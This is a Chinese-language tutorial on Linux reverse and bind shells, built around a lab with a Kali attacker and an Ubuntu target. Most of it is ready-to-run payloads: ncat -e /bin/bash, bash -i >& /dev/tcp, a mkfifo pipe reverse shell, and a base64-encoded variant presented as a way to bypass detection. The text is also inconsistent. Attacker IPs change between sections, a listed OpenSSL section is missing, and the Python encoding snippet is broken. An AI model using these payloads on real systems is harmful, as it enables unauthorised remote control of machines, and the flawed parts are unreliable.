WEB安全基础 - - -Linux反弹shell

一，Shell简介

正向shell（客户端想要获得服务端的shell）

反向shell （服务端想要获得客户端的shell）

二，Linux反弹shell

7.OpenSSL反弹443端口，流量加密传输

一，Shell简介

Shell是系统的用户界面，提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。

getshell：获取到目标的命令执行权限
webshell：网站后门，通过web服务进行命令执行
反弹shell：将命令行的输入与输出转移到其他主机

正向shell（客户端想要获得服务端的shell）

控制端主动发起连接请求去连接被控制端，中间网络链路不存在阻碍

反向shell （服务端想要获得客户端的shell）

被控端主动发起连接请求去连接控制端，通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

二，Linux反弹shell

实验环境

目标机器：Ubuntu、IP：10.1.1.200、ssh账号密码root/root

攻击机器：Kali、IP：10.1.1.100

1.NC正向shell

原理：被控端(Ubuntu)使用nc将/bin/bash绑定到本地的6666端口，控制端(kali)主动连接被控端的6666端口，即可获得shell。

在Ubuntu被控端：ncat -lvvp 6666 -e /bin/bash //监听6666端口

控制端：nc 10.1.1.200 6666

我们输入whoami可以查看到Ubuntu中的root用户,uname -a查看系统的主机名，内核，以及硬件架构

2.NC反向shell

原理：被控端使用nc将/bin/bash发送到控制端的6666端口，控制端需要监听本地的6666端口，就可以获得被控制端的shell。

控制端：nc -lvvp 6666

被控端 ncat -e /bin/bash 10.10.1.100 6666

发现shell已经反弹到了kali中，输入下面的命令验证一下

whoami

uname -a

3.bash反弹shell

bash -i的意思是在本地打开一个bash，/dev/tcp/相当于发出了一个socket调用，建立一个socket连接。/dev/tcp/10.1.1.100/6666意思是将标准输出和标准错误输出重定向到这个文件，也就是传递到远程上。远程控制端开启了对应的端口去监听，就会接收到这个bash的标准输出和标准错误输出。

控制端：nc -lvvp 6666

被控端：bash -i >& /dev/tcp/10.1.1.100/6666 0>&1

解析：

// 将 /dev/tcp/10.10.1.11/6666 传递的数据作为交互式shell的输入，命令执行后的结果输出到 /dev/tcp/10.10.1.11/6666

// /dev/tcp/是Linux中的一个特殊设备，打开这个文件就相当于发起了一个socket调用，建立一个socket连

接，读写这个文件就相当于在这个 socket 连接中传输数据

可以看到控制端已经获取到了shell

4.无e参数反弹shell

原理：mkfifo 创建了一个管道，cat将管道里面的内容输出传递给/bin/bash，/bin/bash执行管道里的命令将标准输出和标准错误输出结果通过nc传输到管道，然后获得了shell。

控制端：nc -lvvp 6666

被控端：rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.1.1.100 6666 >/tmp/f

控制端已经得到了shell权限

5.Base64编码绕过

控制端：nc -lvvp 1234

python3

import base64

a = bash -i >& /dev/tcp/10.1.1.100/1234 0>&1

b=base64.b64encode(a.encode(‘utf-8’))

print(b)

利用python3将bash...转换为base64编码

被控端：

bash - c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTAwLzEyMzQgMD4mMQ== | base64 -d|bash -i"

实质是playload组合

bash -c "echo base64加密后payload |base64 -d | bash -i"